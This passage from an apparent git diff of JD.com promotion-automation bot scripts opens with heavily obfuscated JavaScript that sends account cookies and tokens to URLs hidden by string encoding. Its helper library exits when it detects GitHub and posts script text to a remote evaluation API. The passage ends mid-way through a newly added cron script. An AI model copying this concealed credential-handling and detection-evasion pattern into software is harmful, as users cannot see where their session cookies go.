ferer':_0x8fb215[_0x5be7('12a','DUTz')],'Accept-Encoding':_0x8fb215[_0x5be7('12b','wOgB')],'Accept-Language':_0x8fb215[_0x5be7('12c','VBK7')],'Cookie':_0x5be7('12d','L1Il')+$[_0x5be7('12e','t2fC')]+_0x5be7('12f','O]R%')+$[_0x5be7('130','J&]v')]}};return new Promise(_0x5c9ee0=>{var _0x15998e={'aYnTY':function(_0x4582eb){return _0x8fb215[_0x5be7('131','8$QU')](_0x4582eb);},'FPWoS':function(_0x1ba8cc,_0x1f7f05){return _0x8fb215[_0x5be7('132','mR85')](_0x1ba8cc,_0x1f7f05);},'kdVgT':_0x8fb215[_0x5be7('133','fy^x')],'zRYuh':function(_0x1a3afd,_0x360066){return _0x8fb215[_0x5be7('134','aIzq')](_0x1a3afd,_0x360066);},'fioCn':_0x8fb215[_0x5be7('135','#8qh')],'ysQyY':_0x8fb215[_0x5be7('136','eF07')],'JVMMF':_0x8fb215[_0x5be7('137','8wg$')],'PEpAc':_0x8fb215[_0x5be7('138','aIzq')],'sFgfA':function(_0x587b07,_0x458c9b){return _0x8fb215[_0x5be7('139','li0j')](_0x587b07,_0x458c9b);},'EQuWY':_0x8fb215[_0x5be7('13a','fWT]')],'KmvOi':_0x8fb215[_0x5be7('13b','ty@p')],'dZAqb':_0x8fb215[_0x5be7('13c','8oZ9')],'jHIqI':_0x8fb215[_0x5be7('13d','gQCw')],'skkLA':_0x8fb215[_0x5be7('13e','J&]v')],'yudtT':function(_0x1894c9,_0x3a213f){return _0x8fb215[_0x5be7('13f','M8)x')](_0x1894c9,_0x3a213f);},'rCFBE':function(_0x1408d8,_0x293d6f){return _0x8fb215[_0x5be7('140','RVdq')](_0x1408d8,_0x293d6f);}};$[_0x5be7('141','#8qh')](_0x505392,async(_0x59c5e4,_0x328bd5,_0xe2602f)=>{var _0x4882b7={'oeWut':function(_0x6ada1f,_0x571247){return _0x15998e[_0x5be7('142','aPzP')](_0x6ada1f,_0x571247);},'eySRL':_0x15998e[_0x5be7('143','O]R%')]};if(_0x15998e[_0x5be7('144','ju4k')](_0x15998e[_0x5be7('145','li0j')],_0x15998e[_0x5be7('146','fH$i')])){if(_0xe2602f){_0xe2602f=JSON[_0x5be7('147','fy^x')](_0xe2602f);if(_0x4882b7[_0x5be7('148','A!UD')](_0xe2602f[_0x4882b7[_0x5be7('149','n6g8')]],0xd)){$[_0x5be7('14a','DUTz')]=![];return;}}else{console[_0x5be7('14b','Ni]R')](_0x5be7('14c','A!UD'));}}else{try{if(_0x15998e[_0x5be7('14d','fWT]')](_0x15998e[_0x5be7('14e','VBK7')],_0x15998e[_0x5be7('14f','&%Nr')])){console[_0x5be7('150','t2fC')](_0x5be7('151','qjBe'));}else{if(_0x59c5e4){if(_0x15998e[_0x5be7('152','M8)x')](_0x15998e[_0x5be7('153','fH$i')],_0x15998e[_0x5be7('154','J&]v')])){_0x15998e[_0x5be7('155','Ni]R')](_0x5c9ee0);}else{console[_0x5be7('bb','jAD8')](''+JSON[_0x5be7('156','J&]v')](_0x59c5e4));console[_0x5be7('157','LFKZ')]($[_0x5be7('ff','n6g8')]+_0x5be7('158','8oZ9'));}}else{if(_0xe2602f){if(_0x15998e[_0x5be7('159','eF07')](_0x15998e[_0x5be7('15a','idsI')],_0x15998e[_0x5be7('15b','0L)B')])){$[_0x5be7('15c','OjQf')](e,_0x328bd5);}else{_0xe2602f=JSON[_0x5be7('15d','fWT]')](_0xe2602f);}}}}}catch(_0x47a47d){if(_0x15998e[_0x5be7('15e','aPzP')](_0x15998e[_0x5be7('15f','Ji&y')],_0x15998e[_0x5be7('160','RVdq')])){$[_0x5be7('161','nAtY')](_0x47a47d,_0x328bd5);}else{console[_0x5be7('162','eF07')](''+JSON[_0x5be7('163','gQCw')](_0x59c5e4));console[_0x5be7('bb','jAD8')]($[_0x5be7('164','dBLp')]+_0x5be7('165','L1Il'));}}finally{_0x15998e[_0x5be7('166','n6g8')](_0x5c9ee0,_0x15998e[_0x5be7('167','Ni]R')](_0xe2602f,{}));}}});});}function takeGet(_0x1f53af){var _0x3bf2cb={'SBpvA':function(_0x1a4a10,_0x5c9f49){return _0x1a4a10===_0x5c9f49;},'LxFHS':_0x5be7('168','n6g8'),'BdXfl':function(_0x354eb7,_0x416a71){return _0x354eb7(_0x416a71);},'rxZKC':function(_0x2ea7a3,_0x35b2bb){return _0x2ea7a3||_0x35b2bb;},'LDdPH':_0x5be7('169','jAD8'),'UddAE':_0x5be7('16a','DUTz'),'gXLqU':_0x5be7('16b','n%th'),'UCNfg':function(_0xd521b0,_0x551e92){return _0xd521b0(_0x551e92);},'oXyoC':_0x5be7('16c','d!@r'),'iqDJE':_0x5be7('16d','dBLp'),'FbMTs':_0x5be7('16e','fH$i'),'mzOCN':_0x5be7('16f','L1Il'),'xMKbA':_0x5be7('170','&%Nr'),'oyNtn':_0x5be7('171','L1Il')};let _0x41e9c0={'url':_0x5be7('172','O]R%')+_0x1f53af,'headers':{'Host':_0x3bf2cb[_0x5be7('173','L1Il')],'Connection':_0x3bf2cb[_0x5be7('174','*Wzt')],'Accept':_0x3bf2cb[_0x5be7('175','8wg$')],'Authorization':_0x5be7('176','LFKZ')+$[_0x5be7('177','gQCw')],'Source':'02','User-Agent':$[_0x5be7('178','VBK7')]()?process[_0x5be7('179','mR85')][_0x5be7('17a','&XVB')]?process[_0x5be7('17b','gQCw')][_0x5be7('17c','dBLp')]:_0x3bf2cb[_0x5be7('17d','3OH3')](require,_0x3bf2cb[_0x5be7('17e','fH$i')])[_0x5be7('17f','XR91')]:$[_0x5be7('180','A!UD')](_0x3bf2cb[_0x5be7('181','jAD8')])?$[_0x5be7('182','aPzP')](_0x3bf2cb[_0x5be7('183','M8)x')]):_0x3bf2cb[_0x5be7('184','ju4k')],'Referer':_0x3bf2cb[_0x5be7('185','&XVB')],'Accept-Encoding':_0x3bf2cb[_0x5be7('186','idsI')],'Accept-Language':_0x3bf2cb[_0x5be7('187','OjQf')],'Cookie':_0x5be7('188','ju4k')+$[_0x5be7('189','YeTi')]+_0x5be7('18a','BaR@')+$[_0x5be7('18b','O]R%')]}};return new Promise(_0x4cb945=>{var _0x42bf15={'Deoyf':function(_0x365abc,_0x2f31b1){return _0x3bf2cb[_0x5be7('18c','DUTz')](_0x365abc,_0x2f31b1);},'amxxp':_0x3bf2cb[_0x5be7('18d','nAtY')],'CwVBX':function(_0x11e60a,_0x50a138){return _0x3bf2cb[_0x5be7('18e','A!UD')](_0x11e60a,_0x50a138);},'Ieglk':function(_0x11ca58,_0x3733f7){return _0x3bf2cb[_0x5be7('18f','RVdq')](_0x11ca58,_0x3733f7);}};$[_0x5be7('190','pT9@')](_0x41e9c0,async(_0x41a65b,_0x5d2587,_0x352aaa)=>{try{if(_0x41a65b){if(_0x42bf15[_0x5be7('191','Ji&y')](_0x42bf15[_0x5be7('192','fWT]')],_0x42bf15[_0x5be7('193','OjQf')])){console[_0x5be7('194','li0j')](''+JSON[_0x5be7('195','fH$i')](_0x41a65b));console[_0x5be7('dd','8wg$')]($[_0x5be7('196','J&]v')]+_0x5be7('197','dBLp'));}else{console[_0x5be7('198','ty@p')](_0x5be7('199','%U!$'));return;}}else{if(_0x352aaa){_0x352aaa=JSON[_0x5be7('19a','jAD8')](_0x352aaa);}}}catch(_0x1543b5){$[_0x5be7('19b','fH$i')](_0x1543b5,_0x5d2587);}finally{_0x42bf15[_0x5be7('19c','wOgB')](_0x4cb945,_0x42bf15[_0x5be7('19d','8$QU')](_0x352aaa,{}));}});});}function getBeautyToken(_0x3d0cdf,_0x5055af){var _0x23c1a2={'rmJQD':function(_0xc26ad0,_0x1a331c){return _0xc26ad0===_0x1a331c;},'aoJOF':_0x5be7('19e','3OH3'),'KaUxM':_0x5be7('19f','aIzq'),'oQzPS':_0x5be7('1a0','M%fm'),'LHrBo':function(_0x2421dc,_0x279829){return _0x2421dc(_0x279829);},'OLDwg':_0x5be7('1a1','8wg$'),'YarAe':_0x5be7('1a2','ju4k'),'lAWWL':_0x5be7('1a3','dBLp'),'KOeKa':_0x5be7('1a4','*Wzt'),'yGLJm':_0x5be7('1a5','d!@r'),'bqjis':_0x5be7('1a6','RVdq'),'dyxbv':_0x5be7('1a7','mR85'),'FoElJ':_0x5be7('1a8','8wg$'),'TNMmY':_0x5be7('1a9','M8)x'),'BfPfb':_0x5be7('1aa','Ji&y'),'WZiTU':_0x5be7('1ab','LFKZ'),'smmgw':_0x5be7('1ac','M8)x')};let _0x450d3f={'url':_0x5be7('1ad','mR85')+_0x3d0cdf,'body':_0x5055af,'headers':{'Host':_0x23c1a2[_0x5be7('1ae','n6g8')],'Accept':_0x23c1a2[_0x5be7('1af','fy^x')],'Authorization':_0x23c1a2[_0x5be7('1b0','#8qh')],'Accept-Language':_0x23c1a2[_0x5be7('1b1','qjBe')],'Accept-Encoding':_0x23c1a2[_0x5be7('1b2','&XVB')],'Content-Type':_0x23c1a2[_0x5be7('1b3','Ni]R')],'Origin':_0x23c1a2[_0x5be7('1b4','gQCw')],'User-Agent':$[_0x5be7('1b5','fH$i')]()?process[_0x5be7('1b6','RVdq')][_0x5be7('1b7','eF07')]?process[_0x5be7('1b8','ty@p')][_0x5be7('1b9','8wg$')]:_0x23c1a2[_0x5be7('1ba','OjQf')](require,_0x23c1a2[_0x5be7('1bb','aIzq')])[_0x5be7('1bc','fWT]')]:$[_0x5be7('1bd','nAtY')](_0x23c1a2[_0x5be7('1be','aPzP')])?$[_0x5be7('1bf','idsI')](_0x23c1a2[_0x5be7('1c0','qjBe')]):_0x23c1a2[_0x5be7('1c1','dBLp')],'Connection':_0x23c1a2[_0x5be7('1c2','YeTi')],'Source':'02','Referer':_0x23c1a2[_0x5be7('1c3','Ji&y')],'Cookie':_0x5be7('1c4','*Wzt')+$[_0x5be7('1c5','O]R%')]+';'}};return new Promise(_0x5d010c=>{var _0x128540={'WshPF':function(_0x529100,_0x4454af){return _0x23c1a2[_0x5be7('1c6','8oZ9')](_0x529100,_0x4454af);},'dYLWT':_0x23c1a2[_0x5be7('1c7','A!UD')],'DTsUj':function(_0x4d6a3b,_0x3e8e24){return _0x23c1a2[_0x5be7('1c8','OjQf')](_0x4d6a3b,_0x3e8e24);},'KEDKv':_0x23c1a2[_0x5be7('1c9','0L)B')],'zpXqS':_0x23c1a2[_0x5be7('1ca','&%Nr')],'TBSVA':function(_0x8b993a,_0xad1edb){return _0x23c1a2[_0x5be7('1cb','ju4k')](_0x8b993a,_0xad1edb);}};$[_0x5be7('141','#8qh')](_0x450d3f,async(_0x5d9d67,_0xe0ddaf,_0x39a824)=>{if(_0x128540[_0x5be7('1cc','ju4k')](_0x128540[_0x5be7('1cd','li0j')],_0x128540[_0x5be7('1ce','8oZ9')])){try{if(_0x5d9d67){if(_0x128540[_0x5be7('1cf','YeTi')](_0x128540[_0x5be7('1d0','YeTi')],_0x128540[_0x5be7('1d1','dBLp')])){$[_0x5be7('1d2','&%Nr')](e,_0xe0ddaf);}else{console[_0x5be7('e4','J&]v')](''+JSON[_0x5be7('1d3','XR91')](_0x5d9d67));console[_0x5be7('1d4','#7te')]($[_0x5be7('1d5','Ji&y')]+_0x5be7('1d6','J&]v'));}}else{_0x39a824=JSON[_0x5be7('1d7','A!UD')](_0x39a824);}}catch(_0x9e28d8){$[_0x5be7('1d8','8wg$')](_0x9e28d8,_0xe0ddaf);}finally{_0x128540[_0x5be7('1d9','fWT]')](_0x5d010c,_0x39a824[_0x5be7('1da','ty@p')]||'');}}else{_0x39a824=JSON[_0x5be7('1db','#7te')](_0x39a824);}});});}function getToken(_0x419159,_0x135396){var _0x2d14b8={'WxPNb':function(_0x4ed713,_0x3a2811){return _0x4ed713===_0x3a2811;},'HOFHR':_0x5be7('1dc','M%fm'),'iUTEd':_0x5be7('1dd','M%fm'),'pbXTb':function(_0xb68c0e,_0x16a2da){return _0xb68c0e(_0x16a2da);},'YNitG':_0x5be7('1de','ju4k'),'NoTmD':_0x5be7('1df','eF07'),'aKiOe':_0x5be7('1e0','n%th'),'aSepa':_0x5be7('1e1','RVdq'),'igqwI':_0x5be7('1e2','li0j'),'AMcAO':_0x5be7('1e3','ju4k')};let _0x384998={'url':_0x419159,'body':_0x135396,'headers':{'Host':_0x2d14b8[_0x5be7('1e4','&XVB')],'accept':_0x2d14b8[_0x5be7('1e5','fy^x')],'user-agent':_0x2d14b8[_0x5be7('1e6','fWT]')],'accept-language':_0x2d14b8[_0x5be7('1e7','qjBe')],'content-type':_0x2d14b8[_0x5be7('1e8','t2fC')],'Cookie':cookie}};return new Promise(_0x451a7c=>{var _0x54d33f={'HquGv':function(_0x20fbef,_0x4d3c8f){return _0x2d14b8[_0x5be7('1e9','idsI')](_0x20fbef,_0x4d3c8f);},'PdIfK':_0x2d14b8[_0x5be7('1ea','%U!$')],'xsIQC':_0x2d14b8[_0x5be7('1eb','li0j')],'IapYS':function(_0x2912ff,_0x30c239){return _0x2d14b8[_0x5be7('1ec','M8)x')](_0x2912ff,_0x30c239);},'DUitZ':_0x2d14b8[_0x5be7('1ed','L1Il')]};$[_0x5be7('1ee','DUTz')](_0x384998,async(_0x3f8493,_0x4d90e4,_0x2eea2c)=>{try{if(_0x54d33f[_0x5be7('1ef','zAZA')](_0x54d33f[_0x5be7('1f0','Ni]R')],_0x54d33f[_0x5be7('1f1','LFKZ')])){$[_0x5be7('1f2','pT9@')]('','❌\x20'+$[_0x5be7('1f3','YeTi')]+_0x5be7('1f4','3OH3')+e+'!','');}else{if(_0x3f8493){console[_0x5be7('1f5','zAZA')](''+JSON[_0x5be7('1f6','&%Nr')](_0x3f8493));console[_0x5be7('1f7','M%fm')]($[_0x5be7('1f8','*Wzt')]+_0x5be7('1f9','0L)B'));}else{_0x2eea2c=JSON[_0x5be7('1fa','mR85')](_0x2eea2c);}}}catch(_0x3c98e5){$[_0x5be7('1fb','8oZ9')](_0x3c98e5,_0x4d90e4);}finally{_0x54d33f[_0x5be7('1fc','L1Il')](_0x451a7c,_0x2eea2c[_0x54d33f[_0x5be7('1fd','XR91')]]||'');}});});}function TotalBean(){var _0xf6fa20={'FCqiE':function(_0x10c243,_0x22f096){return _0x10c243(_0x22f096);},'zTpru':_0x5be7('1fe','li0j'),'KxxvY':function(_0x392dd3,_0x12b35d){return _0x392dd3!==_0x12b35d;},'MbcAL':_0x5be7('1ff','fH$i'),'zZSUu':function(_0x35395d,_0x392ad5){return _0x35395d===_0x392ad5;},'ezQby':_0x5be7('200','aPzP'),'CWoJe':_0x5be7('201','wOgB'),'fofef':_0x5be7('202','d!@r'),'lPDPU':_0x5be7('203','OjQf'),'wBtEE':_0x5be7('204','VBK7'),'UtAUB':_0x5be7('205','DUTz'),'qCvfs':_0x5be7('206','ju4k'),'uBrAK':function(_0x2b15a3){return _0x2b15a3();},'cvGwf':_0x5be7('207','nAtY'),'VzDUf':_0x5be7('208','8$QU'),'diyyv':_0x5be7('209','8$QU'),'UVnYV':_0x5be7('1a4','*Wzt'),'wczMB':_0x5be7('20a','8oZ9'),'ZqPip':_0x5be7('20b','L1Il'),'dmxZx':_0x5be7('20c','0L)B'),'VePAv':_0x5be7('20d','%U!$'),'mfeCm':_0x5be7('20e','li0j')};return new Promise(async _0x45853d=>{var _0x448553={'vwiaE':function(_0x541c72,_0x30124b){return _0xf6fa20[_0x5be7('20f','fWT]')](_0x541c72,_0x30124b);},'PGwWF':_0xf6fa20[_0x5be7('210','ty@p')],'GaFOD':function(_0x119858,_0x4c5353){return _0xf6fa20[_0x5be7('211','qjBe')](_0x119858,_0x4c5353);},'ZojMO':_0xf6fa20[_0x5be7('212','BaR@')],'ExsFr':function(_0x3b4741,_0x28cde3){return _0xf6fa20[_0x5be7('213','wOgB')](_0x3b4741,_0x28cde3);},'FyZzT':_0xf6fa20[_0x5be7('214','dBLp')],'GsSDO':_0xf6fa20[_0x5be7('215','mR85')],'WiZCM':_0xf6fa20[_0x5be7('216','A!UD')],'eEONy':function(_0x4fd94a,_0x4e526d){return _0xf6fa20[_0x5be7('217','zAZA')](_0x4fd94a,_0x4e526d);},'ydGST':_0xf6fa20[_0x5be7('218','L1Il')],'WIAHN':_0xf6fa20[_0x5be7('219','Ni]R')],'DdPCK':_0xf6fa20[_0x5be7('21a','fWT]')],'NMups':function(_0xf4c3a3,_0x4dc214){return _0xf6fa20[_0x5be7('21b','8wg$')](_0xf4c3a3,_0x4dc214);},'yvZyH':_0xf6fa20[_0x5be7('21c','0L)B')],'dvkoo':function(_0x3c0beb){return _0xf6fa20[_0x5be7('21d','&%Nr')](_0x3c0beb);}};const _0x59366c={'url':_0x5be7('21e','&%Nr'),'headers':{'Accept':_0xf6fa20[_0x5be7('21f','LFKZ')],'Content-Type':_0xf6fa20[_0x5be7('220','nAtY')],'Accept-Encoding':_0xf6fa20[_0x5be7('221','RVdq')],'Accept-Language':_0xf6fa20[_0x5be7('222','*Wzt')],'Connection':_0xf6fa20[_0x5be7('223','gQCw')],'Cookie':cookie,'Referer':_0xf6fa20[_0x5be7('224','#7te')],'User-Agent':$[_0x5be7('225','fWT]')]()?process[_0x5be7('226','&XVB')][_0x5be7('227','YeTi')]?process[_0x5be7('228','O]R%')][_0x5be7('229','zAZA')]:_0xf6fa20[_0x5be7('22a','LFKZ')](require,_0xf6fa20[_0x5be7('22b','eF07')])[_0x5be7('22c','eF07')]:$[_0x5be7('22d','*Wzt')](_0xf6fa20[_0x5be7('22e','#7te')])?$[_0x5be7('22f','fWT]')](_0xf6fa20[_0x5be7('230','3OH3')]):_0xf6fa20[_0x5be7('231','&XVB')]}};$[_0x5be7('232','ty@p')](_0x59366c,(_0x2c3209,_0x1f16f8,_0x5bff00)=>{var _0x51ad9f={'hXsGP':function(_0x180584,_0xbfdc94){return _0x448553[_0x5be7('233','eF07')](_0x180584,_0xbfdc94);},'qQVKN':_0x448553[_0x5be7('234','idsI')]};if(_0x448553[_0x5be7('235','aIzq')](_0x448553[_0x5be7('236','t2fC')],_0x448553[_0x5be7('237','fH$i')])){console[_0x5be7('7e','n%th')](''+JSON[_0x5be7('238','VBK7')](_0x2c3209));console[_0x5be7('e4','J&]v')]($[_0x5be7('239','LFKZ')]+_0x5be7('1f9','0L)B'));}else{try{if(_0x2c3209){console[_0x5be7('23a','O]R%')](''+JSON[_0x5be7('23b','Ji&y')](_0x2c3209));console[_0x5be7('23c','fy^x')]($[_0x5be7('23d','M%fm')]+_0x5be7('197','dBLp'));}else{if(_0x448553[_0x5be7('23e','RVdq')](_0x448553[_0x5be7('23f','mR85')],_0x448553[_0x5be7('240','ty@p')])){console[_0x5be7('9c','XR91')](_0x5be7('241','d!@r'));return;}else{if(_0x5bff00){_0x5bff00=JSON[_0x5be7('242','OjQf')](_0x5bff00);if(_0x448553[_0x5be7('243','DUTz')](_0x5bff00[_0x448553[_0x5be7('244','OjQf')]],0xd)){if(_0x448553[_0x5be7('245','XR91')](_0x448553[_0x5be7('246','XR91')],_0x448553[_0x5be7('247','*Wzt')])){_0x5bff00=JSON[_0x5be7('1fa','mR85')](_0x5bff00);}else{$[_0x5be7('248','gQCw')]=![];return;}}}else{console[_0x5be7('249','aIzq')](_0x5be7('24a','dBLp'));}}}}catch(_0x389776){if(_0x448553[_0x5be7('24b','8oZ9')](_0x448553[_0x5be7('24c','M8)x')],_0x448553[_0x5be7('24d','t2fC')])){$[_0x5be7('24e','fy^x')](_0x389776,_0x1f16f8);}else{_0x51ad9f[_0x5be7('24f','A!UD')](_0x45853d,_0x5bff00[_0x51ad9f[_0x5be7('250','A!UD')]]||'');}}finally{if(_0x448553[_0x5be7('251','L1Il')](_0x448553[_0x5be7('252','n6g8')],_0x448553[_0x5be7('253','OjQf')])){$[_0x5be7('254','8$QU')](e,_0x1f16f8);}else{_0x448553[_0x5be7('255','eF07')](_0x45853d);}}}});});};_0xodl='jsjiami.com.v6'; +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_big_winner.js b/backUp/jd_big_winner.js new file mode 100644 index 0000000..62e253a --- /dev/null +++ b/backUp/jd_big_winner.js @@ -0,0 +1,322 @@ +/* +省钱大赢家之翻翻乐 +一天可翻多次,但有上限 +运气好每次可得0.3元以上的微信现金(需京东账号绑定到微信) +脚本兼容: QuantumultX, Surge,Loon, JSBox, Node.js +=================================Quantumultx========================= +[task_local] +#省钱大赢家之翻翻乐 +20 * * * * jd_big_winner.js, tag=省钱大赢家之翻翻乐, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +=================================Loon=================================== +[Script] +cron "20 * * * *" script-path=jd_big_winner.js,tag=省钱大赢家之翻翻乐 + +===================================Surge================================ +省钱大赢家之翻翻乐 = type=cron,cronexp="20 * * * *",wake-system=1,timeout=3600,script-path=jd_big_winner.js + +====================================小火箭============================= +省钱大赢家之翻翻乐 = type=cron,script-path=jd_big_winner.js, cronexpr="20 * * * *", timeout=3600, enable=true + */ +const $ = new Env('省钱大赢家之翻翻乐'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message = '', linkId = 'yMVR-_QKRd2Mq27xguJG-w', fflLinkId = 'YhCkrVusBVa_O2K-7xE6hA'; +const money = process.env.BIGWINNER_MONEY || 0.3 +const JD_API_HOST = 